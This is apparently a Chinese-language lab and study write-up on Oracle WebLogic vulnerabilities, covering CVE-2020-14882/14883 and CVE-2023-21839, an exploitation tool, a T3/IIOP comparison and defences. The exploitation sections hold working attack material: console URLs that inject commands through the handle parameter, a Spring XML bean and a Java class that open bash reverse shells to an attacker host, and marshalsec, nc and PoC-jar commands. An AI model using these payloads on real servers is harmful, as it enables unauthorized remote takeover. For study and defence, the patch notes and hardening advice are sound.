CVE-2020-14883 是 Oracle WebLogic Server 管理控制台中的远程命令执行漏洞，需与 CVE-2020-14882（权限绕过漏洞）结合形成完整的利用链。攻击者通过构造特殊的 HTTP 请求，在未授权的情况下直接执行系统命令，最终完全控制目标服务器。
影响版本：WebLogic 10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4、14.1.1.0。

2. 核心原理分析

2.1 漏洞触发点

漏洞的核心在于 WebLogic 管理控制台对 HTTP 请求参数 handle 的处理逻辑存在缺陷。当攻击者通过 CVE-2020-14882 绕过权限验证后，可利用 handle 参数注入恶意类名和代码，触发以下两类关键组件的反序列化或类加载过程：

  1. com.tangosol.coherence.mvel2.sh.ShellSession

    • 适用版本：WebLogic 12.2.1+（低版本无此类）
    • 机制：通过反射调用 ShellSession 类的构造函数，传入恶意代码（如 java.lang.Runtime.exec()）直接执行系统命令。
    • 示例利用： 
      1
      http://target:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&handle=com.tangosol.coherence.mvel2.sh.ShellSession("Runtime.getRuntime().exec('calc');")

  2. com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

    • 适用版本：全版本（通过 Spring 框架漏洞）
    • 机制：加载远程 XML 文件，利用 Spring 的依赖注入机制实例化 ProcessBuilder，通过 init-method="start" 触发命令执行。
    • 恶意 XML 示例： 
      1
      2
      3
      4
      5
      6
      7
      8
      9
      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/攻击机IP/端口 0>&1]]></value>
          </list>
        </constructor-arg>
      </bean>
2.2 关键代码流程

  1. 请求分派：
    绕过权限后，请求被分派至 AsyncInitServlet，最终调用 UIServlet 处理 .portal 文件，触发控件树的生命周期方法（如 init、handlePostbackData）。

  2. 参数解析与类加载：

    • handle 参数通过 MarshalledObject 反序列化机制加载指定类。
    • FileSystemXmlApplicationContext 类在初始化时，会解析远程 XML 文件并执行其中定义的 ProcessBuilder 逻辑。

  3. 安全机制缺陷：

    • 黑名单缺失：未对 ShellSession 和 FileSystemXmlApplicationContext 进行有效拦截。
    • 输入验证不足：未对 handle 参数的内容进行合法性校验，导致任意类实例化。

3. 利用链与攻击场景

3.1 利用条件
  • 前置条件：需通过 CVE-2020-14882 绕过权限访问后台。
  • 网络要求：
    • ShellSession 类需存在于目标版本中（仅限高版本）。
    • FileSystemXmlApplicationContext 需目标服务器能访问攻击者提供的 XML 文件（需出网）。
3.2 典型攻击步骤

  1. 权限绕过：
    构造 URL 路径穿越访问管理后台： 

    1
    http://target:7001/console/css/%252e%252e%252fconsole.portal

  2. 命令执行：

    • 方式一（ShellSession）：
      直接注入命令（如创建文件或反弹 Shell）： 

      1
      http://target:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

    • 方式二（XML 加载）：

      • 编写一个和cve-2019-2725利用链类似的xml文件
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      <?xml version="1.0" encoding="UTF-8" ?>
      <beans xmlns="http://www.springframework.org/schema/beans"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
          <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
              <constructor-arg>
                <list>
                  <value>bash</value>
                  <value>-c</value>
                  <value><![CDATA[bash -i >& /dev/tcp/attack_ip/1234 0>&1]]></value>
                </list>
              </constructor-arg>
          </bean>
      </beans>
      • 启动http服务python3 -m http.server 80
      • 部署恶意 XML 文件并触发加载（hackbar）：
      1
      http://target:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://attack_ip/rce.xml")

​ nc端口监听 image-20250406014919144

4. 补丁与修复机制

Oracle 通过以下方式修复漏洞：

  1. 类黑名单更新：将 ShellSession 和 FileSystemXmlApplicationContext 加入反序列化黑名单。
  2. 输入过滤增强：对 handle 参数进行严格校验，禁止加载未授权的类。
  3. 协议限制：建议禁用 T3/IIOP 协议或限制访问来源。

5. 总结与防御建议

CVE-2020-14883 的根源在于 WebLogic 对用户输入的控制不足，结合高危类加载机制导致 RCE。其危害性在未授权访问漏洞（CVE-2020-14882）的加持下被放大，形成完整的攻击链。
防御建议：

  • 补丁升级：及时安装 Oracle 官方季度补丁。
  • 协议加固：禁用 T3/IIOP 协议或配置 IP 白名单。
  • 网络隔离：限制管理控制台的访问范围，避免暴露在公网。

CVE-2023-21839

以下是关于 CVE-2023-21839 漏洞核心原理的深度解析，结合多个技术分析来源总结其攻击路径、触发机制及修复方案：

1. 漏洞背景与影响

CVE-2023-21839 是 Oracle WebLogic Server 中的一个高危远程代码执行漏洞，允许未经身份验证的攻击者通过 T3/IIOP 协议远程接管服务器。该漏洞利用 WebLogic 核心组件的反序列化机制缺陷，结合 JNDI 注入实现任意代码执行。
影响版本：

  • WebLogic 12.2.1.3.0
  • WebLogic 12.2.1.4.0
  • WebLogic 14.1.1.0.0 。

2. 核心原理分析

2.1 漏洞触发机制

漏洞的核心在于 WebLogic 对 T3/IIOP 协议 的远程对象绑定（Bind）和反序列化逻辑存在缺陷。具体流程如下：

  1. 远程对象绑定：攻击者通过 T3/IIOP 协议将恶意对象绑定到 WebLogic 服务端，该对象需继承自 OpaqueReference 接口 。
  2. lookup 操作触发：当服务端通过 lookup 方法访问绑定的远程对象时，会调用其 getReferent() 方法。
  3. JNDI 注入：在 weblogic.deployment.jms.ForeignOpaqueReference 类的 getReferent 方法中，存在以下关键代码： 
    1
    retVal = context.lookup(this.remoteJNDIName);
    其中 remoteJNDIName 参数由攻击者控制，可指向恶意 RMI/LDAP 服务地址，触发 JNDI 注入 。
  4. 远程类加载与代码执行：通过 JNDI 注入加载远程恶意类（如利用 ldap:// 协议），触发反序列化或动态类加载，最终执行任意系统命令。
2.2 关键组件缺陷
  • 协议支持：T3/IIOP 协议默认开放且允许远程绑定对象，未对绑定内容进行严格校验。
  • 黑名单绕过：WebLogic 的反序列化黑名单未覆盖 ForeignOpaqueReference 类及其依赖的 JNDI 上下文机制。
  • 输入验证缺失：未对 remoteJNDIName 参数进行合法性检查，导致攻击者可注入任意 JNDI 地址 。

3. 漏洞利用链

3.1 典型攻击步骤
  1. 构造恶意对象：生成继承自 OpaqueReference 的远程对象，设置 remoteJNDIName 为攻击者控制的 LDAP/RMI 服务地址。
  2. 绑定对象至服务端：通过 T3/IIOP 协议将恶意对象发送至目标 WebLogic 服务器。
  3. 触发 lookup 操作：诱导服务端调用 lookup 方法访问该对象，触发 getReferent 方法中的 JNDI 注入。
  4. 加载远程恶意类：服务端通过 LDAP/RMI 协议下载并加载攻击者提供的恶意类（如 ReverseShell 或 ProcessBuilder），执行系统命令 。
3.2 工具依赖
  • JNDIExploit：用于搭建恶意 LDAP 服务，托管恶意类文件并生成反向 Shell 载荷。
  • CVE-2023-21839 PoC 工具：自动化生成攻击请求，指定目标 IP、端口及恶意 JNDI 地址 。

4.漏洞利用

方式一：使用自动化 PoC 工具

  • 编写恶意类并编译

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import java.io.IOException;
    public class exp {
        static {
            try {
                Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.100.129/1234 0>&1"});
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    • 编译命令javac exp.java

  • HTTP服务公开恶意类

    • python -m http.server 80

  • 启动 JNDI 服务

  • 在攻击机上运行marshalsec，监听 LDAP/RMI 服务并托管恶意类：

    1
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker/#exp" 1089

  • 端口监听

    • nc -lvnp 1234

  • 下载并的PoC

  1. Weblogic-CVE-2023-21839

  2. 执行攻击命令：

1
java -jar Weblogic-CVE-2023-21839.jar target_ip:7001 ldap://attacker_ip:1089/exp
  • 获取反弹 Shell
    • 成功执行后，攻击机的 nc 监听端口将接收到目标服务器的 Shell 连接，实现远程控制。

image-20250406023154642

方式二：手动编写 Java PoC

  1. 构造恶意对象

    • 利用 ForeignOpaqueReference 类注入可控的 remoteJNDIName，触发 JNDI 注入：

      1
      2
      3
      4
      5
      6
      // 示例代码（简化）
      InitialContext c = new InitialContext();
      ForeignOpaqueReference f = new ForeignOpaqueReference();
      f.setRemoteJNDIName("ldap://攻击机IP:1389/Basic/Command/calc");
      c.bind("恶意对象名称", f);
      c.lookup("恶意对象名称");  // 触发漏洞

    • 关键点：通过反射修改 jndiEnvironment 和 remoteJNDIName 字段，指向攻击者控制的 LDAP 服务。

  2. 托管恶意类文件

    • 在 JNDIExploit 的 HTTP 服务路径下放置恶意 XML 或 Java 类文件（如 ReverseShell.class），通过 LDAP 服务动态加载79。

  3. 触发漏洞

    • 运行 Java PoC 代码，目标服务器将向攻击机的 LDAP 服务发起请求，加载并执行恶意代码。

4. 修复与缓解措施

4.1 官方补丁

Oracle 通过以下方式修复漏洞：

  1. 黑名单更新：将 ForeignOpaqueReference 及相关危险类加入反序列化黑名单。
  2. 协议限制：增强 T3/IIOP 协议的安全性校验，限制未授权绑定操作 。
4.2 临时缓解方案
  1. 禁用 T3/IIOP 协议：
    • 通过 WebLogic 控制台关闭 IIOP 协议。
    • 使用连接筛选器（ConnectionFilterImpl）限制 T3 协议访问来源 。
  2. 网络隔离：限制 WebLogic 管理端口（7001）的访问范围，避免暴露于公网。
  3. 升级 JDK：使用 JDK 11+ 版本以限制 JNDI 远程类加载能力 。

5. 总结与启示

CVE-2023-21839 的本质是 WebLogic 对 T3/IIOP 协议的安全控制不足，结合 JNDI 注入机制实现远程代码执行。其危害性在于攻击链简单且无需身份验证，成为勒索软件和 APT 组织的重点目标。
防御建议：

  • 定期更新官方补丁，关注 Oracle 季度安全通告。
  • 强化协议管控，遵循最小化开放原则。
  • 部署入侵检测系统（IDS）监控异常 T3/IIOP 流量（如高频 JNDI 请求）。

Weblogic综合利用

1.中间件扫描，服务信息收集

  • 使用nmap扫描T3协议是否可用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~]
└─$ nmap --script=weblogic-t3-info 192.168.100.137    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-04 06:23 EDT
Nmap scan report for 192.168.100.137
Host is up (0.00012s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
7001/tcp open  afs3-callback
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
MAC Address: 00:0C:29:AD:B3:72 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.25 seconds

2.综合利用工具

  • 工具下载

  • 利用示例

    • 使用java启动工具GUI
    1
    2
    3
    ┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]                                                           
    └─$ java -jar WeblogicTool_1.3.jar                                                                                            
    四月 05, 2025 3:11:47 下午 com.sun.javafx.css.parser.CSSParser declaration

  • 协议探测

    • 直接点击协议探测，探测时候开启T3或者IIOP。
      • 在地址栏下方输入想要探测的url即可。

    image-20250406032725417

  • 漏洞检查

    • 首先配置我们确定的
      • Weblogic服务的url路径
      • 漏洞检查选择ALL_ECHO直接扫描所有可用PoC
      • 点击检查按钮

    image-20250406032303678

    • 检查完后可直接在界面上看到检查结果，例如此次显示CVE-2018-2894可用。

  • 命令执行

image-20250406032934344

  • 工具支持的CVE漏洞编号
    • 如果通过工具无法探测到可利用的Weblogic漏洞，可再通过nmap探测的Weblogic版本，在公开漏洞库中进行搜索，然后进行利用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CVE-2023-21931（JNDI）
CVE-2023-21839（JNDI）
CVE-2020-2551（JRMP）
CVE-2020-2551
CVE-2020-2555
CVE-2020-2883
CVE-2020-14882 未授权访问
CVE-2018-2894
CVE-2018-2628（JRMP）
CVE-2018-2893（JRMP）
CVE-2018-3245（JRMP）
CVE_2018_3252（JRMP）
CVE_2018_3191
CVE-2016-3510
CVE-2016-0638
CVE-2017-10271
CVE-2017-3248（JRMP）
CVE-2015-4852

T3协议和IIOP协议对比

以下是 T3 协议与 IIOP 协议的对比分析，涵盖协议设计、功能特性、安全风险及适用场景等核心维度：

1. 协议概述

维度 T3 协议 IIOP 协议
定义 WebLogic 私有协议，基于 Java RMI 优化，专为 WebLogic 集群通信设计。 CORBA 标准协议（通用对象请求代理架构），支持跨语言、跨平台的分布式通信。
核心目标 提供高性能的 Java 对象传输 和集群管理功能。 实现 跨语言互操作性（如 Java、C++、Python 等）。
依赖技术 Java 序列化机制、WebLogic 私有扩展（如负载均衡、心跳检测）。 CORBA 的 GIOP（通用 Inter-ORB 协议）规范，结合 Java 序列化和 IDL（接口定义语言）。

2. 核心特性对比

特性 T3 协议 IIOP 协议
序列化机制 基于 Java 原生序列化，支持复杂对象传输（如类、方法、状态）。 使用 CORBA 序列化（CDR 格式），需通过 IDL 定义接口，对非 Java 语言更友好。
性能优化 高度优化：
- 压缩传输数据
- 长连接复用
- 支持异步通信。		 通用性强但性能较低：
- 数据包解析开销大
- 跨语言兼容性牺牲了效率。
集群支持 深度集成 WebLogic 集群功能：
- 自动故障转移
- 负载均衡
- 会话复制。		 依赖 CORBA 的 ORB（对象请求代理）实现分布式通信，无原生集群管理能力。
跨语言支持 仅限 Java（强绑定 JVM 生态）。 支持多语言（通过 IDL 生成不同语言的客户端和服务端）。

3. 安全性对比

维度 T3 协议 IIOP 协议
主要风险 反序列化漏洞高发（如 CVE-2018-2628）：
- 协议默认使用 Java 原生序列化，攻击者可构造恶意对象绕过黑名单。		 风险较低但依然存在：
- CORBA 安全机制（如 CSIv2）可增强认证，但实现复杂易配置错误。
加密支持 支持 T3S（基于 SSL/TLS 加密）。 支持 IIOPS（SSL 加密的 IIOP）。
攻击面 更广泛：
- WebLogic 默认开启 T3 端口（7001）且公网暴露风险高。		 较窄：
- 多用于内部系统集成，公网暴露较少。

4. 典型漏洞案例

协议 漏洞示例 利用方式
T3 CVE-2018-2628（反序列化漏洞）
CVE-2020-2883（补丁绕过）		 发送恶意序列化数据，通过 InvokerTransformer 或 UnicastRef 链执行任意代码。
IIOP CVE-2018-2893（反序列化漏洞）
CVE-2020-14825（权限绕过）		 利用 IIOP 协议传输恶意 CORBA 对象，触发服务端反序列化或绕过权限控制。

5. 适用场景

场景 T3 协议 IIOP 协议
纯 Java 环境 首选：
- WebLogic 集群内部节点通信
- Java 客户端与服务器交互。		 不推荐：
- 性能低于 T3，无额外优势。
跨语言系统 不可用：
- 仅支持 Java 生态。		 首选：
- 集成遗留 CORBA 系统（如 C++ 服务）
- 多语言微服务通信。
高并发需求 更优：
- 长连接复用、数据压缩降低延迟。		 较差：
- 协议解析和跨语言转换带来额外开销。

6. 配置与加固建议

措施 T3 协议 IIOP 协议
禁用协议 若非必要，关闭 T3 端口：
Admin Console → Server → Protocols → Disable T3		 关闭 IIOP 端口：
Admin Console → Server → Protocols → Disable IIOP
加密通信 强制使用 T3S 替代 T3。 启用 IIOPS 并配置 SSL 证书。
输入过滤 拦截包含危险类的序列化数据（如 org.apache.commons.collections.*）。 限制 CORBA 接口的访问权限，校验 IDL 定义的数据格式。

总结

  • T3 协议：专为 WebLogic 设计的高性能 Java 协议，反序列化漏洞高发，需严格限制公网暴露。
  • IIOP 协议：面向跨语言集成的标准协议，风险相对可控，但需注意 CORBA 安全配置。
  • 共同防御重点：禁用非必要协议、启用加密传输、监控反序列化行为。

Weblogic漏洞总结

XMLDecoder组件相关CVE

1. CVE-2017-3506

  • 类型：XMLDecoder 反序列化漏洞（组件相关）
  • 影响版本：WebLogic 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0
  • 原理：
    漏洞源于 WebLogic 的 WLS-WebServices 组件未对用户传入的 XML 数据进行过滤，攻击者可构造包含 object 标签的恶意 XML 数据，触发 XMLDecoder 反序列化执行任意命令34。
  • 修复措施：
    官方通过黑名单机制过滤 object 标签，但该补丁存在绕过可能3。

2. CVE-2017-10271

  • 类型：XMLDecoder 反序列化补丁绕过漏洞
  • 影响版本：与 CVE-2017-3506 相同
  • 原理：
    CVE-2017-3506 的补丁仅过滤了 object 标签，攻击者改用 void、new、method 等标签构造新的 XML 载荷，绕过黑名单限制，再次触发反序列化漏洞138。
  • 利用路径：
    通过 /wls-wsat/CoordinatorPortType 等接口发送恶意 SOAP 请求，执行命令或上传 WebShell18。
  • 修复措施：
    进一步扩展黑名单限制更多危险标签，并删除 wls-wsat 组件34。

3. CVE-2019-2725

  • 类型：XMLDecoder 反序列化二次补丁绕过漏洞
  • 影响版本：WebLogic 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0
  • 原理：
    攻击者通过 class 属性构造特定 XML 节点（如 <array class="byte">），绕过 CVE-2017-10271 的补丁限制，再次触发反序列化漏洞48。
  • 关联协议：HTTP
  • 利用场景：
    类似 CVE-2017-10271，但需构造更复杂的载荷绕过补丁检查。

4. CVE-2019-2729

  • 类型：XMLDecoder 反序列化漏洞（组件相关）
  • 影响版本：WebLogic 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0
  • 原理：
    攻击者通过 AsyncResponseService 组件的 HTTP 接口发送恶意 XML 数据，利用未过滤的反序列化路径执行命令，属于 CVE-2019-2725 的变种。
  • 修复措施：
    彻底移除或禁用相关组件，并升级至安全版本。

WebLogic 其他常见漏洞分类总结

1. 反序列化漏洞

  • 核心原因：WebLogic 在处理 T3/IIOP 协议的反序列化数据时，未严格校验输入数据，导致恶意对象被解析并触发代码执行。
  • 典型漏洞：
    • CVE-2015-4852：首个公开的 WebLogic 反序列化漏洞，利用 Apache Commons Collections 链实现 RCE。
    • CVE-2017-10271：通过 XMLDecoder 反序列化绕过补丁，触发远程代码执行。
    • CVE-2019-2725：wls9-async 组件反序列化漏洞，影响 10.3.6.0 和 12.1.3.0 版本。
    • CVE-2020-2551：基于 IIOP 协议的反序列化漏洞，利用 JtaTransactionManager 类绕过黑名单。
  • 利用方式：构造恶意序列化数据，通过 T3/IIOP 协议发送至目标端口（默认 7001）。

2. 未授权访问/权限绕过

  • 核心原因：身份验证逻辑缺陷或路径遍历漏洞，允许攻击者绕过登录验证直接访问敏感功能。
  • 典型漏洞：
    • CVE-2020-14882：权限提升漏洞，结合 CVE-2020-14883 实现未授权 RCE。
    • CVE-2020-14883：未授权访问管理控制台，通过构造特殊 URL 绕过认证（如 /console/css/%252e%252e%252fconsole.portal）。
  • 利用方式：直接访问隐藏接口或通过路径遍历访问受限功能（如部署 WAR 文件）。

3. 文件上传漏洞

  • 核心原因：未对上传文件的路径、类型和权限进行校验，导致恶意文件被写入可执行目录。
  • 典型漏洞：
    • CVE-2018-2894：通过 /ws_utc/config.do 修改工作目录，上传 JSP Webshell 至 Web 路径。
    • CVE-2020-14750：未授权上传配置文件导致代码执行。
  • 利用方式：利用管理界面功能（如“安全”选项）上传恶意文件，并通过 HTTP 访问触发。

4. SSRF（服务器端请求伪造)

  • 核心原因：服务端未校验用户提供的 URL，允许攻击者探测内网或发起二次攻击。
  • 典型漏洞：
    • CVE-2014-4210：通过 uddiexplorer/SearchPublicRegistries.jsp 发起内网请求。
  • 利用方式：构造恶意 URL 参数，利用 WebLogic 服务作为代理访问内部系统。

5. 远程代码执行（RCE）

  • 核心原因：多种漏洞组合利用（如反序列化 + 权限绕过）或直接代码注入。
  • 典型漏洞：
    • CVE-2019-2729：通过未授权接口触发远程代码执行。
    • CVE-2020-14644：Coherence 组件的反序列化漏洞，通过 T3/IIOP 触发。
  • 利用方式：结合反序列化链或直接部署恶意应用（如 WAR 文件）。

6. 配置错误

  • 核心原因：默认弱口令、未禁用高风险服务或开放敏感端口。
  • 典型问题：
    • 默认凭据：weblogic/weblogic123 等弱口令未修改。
    • T3/IIOP 协议暴露：未限制协议访问，导致反序列化攻击面扩大。
    • 调试模式开启：生产环境中启用开发模式功能（如 Web 服务测试页）。
  • 利用方式：暴力破解密码、利用未关闭的服务发起攻击。

7. 信息泄露

  • 核心原因：接口或日志暴露敏感信息（如版本号、配置详情）。
  • 典型漏洞：
    • CVE-2018-3252：通过错误页面泄露服务器路径信息。
    • 日志文件未保护：访问日志、配置文件未加密存储。
  • 利用方式：通过错误信息或公开接口获取版本信息，辅助后续漏洞利用。

防御建议

  1. 及时更新补丁：关注 Oracle 季度关键补丁更新（CPU），修复已知漏洞。
  2. 禁用高风险协议：
    1
    2
    <!-- 修改 config.xml 禁用 T3 -->
    <connection-filter>t3 127.0.0.1 allow</connection-filter>
  3. 强化访问控制：
    • 限制管理控制台的访问 IP。
    • 启用多因素认证（MFA）和强密码策略。
  4. 最小化服务暴露：
    • 关闭不必要的服务（如 IIOP）。
    • 避免将 WebLogic 管理端口（7001）暴露在公网。
  5. 日志与监控：
    • 实时监控异常请求（如大量反序列化流量）。
    • 定期审计日志文件（access.log、server.log）

汇总归类

  • 不可出网利用
    • 基于HTTP协议XMLDecoder系列
    • 基于HTTP协议未授权绕过RCE系列CVE-2020-14882/CVE-2020-14883
    • 基于文件上传的CVE-2018-2894
    • 基于T3/IIOP的CC链变种CVE-2020-2883
  • 可出网利用
    • 基于T3/IIOP的JRMP注入 CVE-2018-2628
    • 基于T3/IIOP的JNDI注入 CVE-2023-21839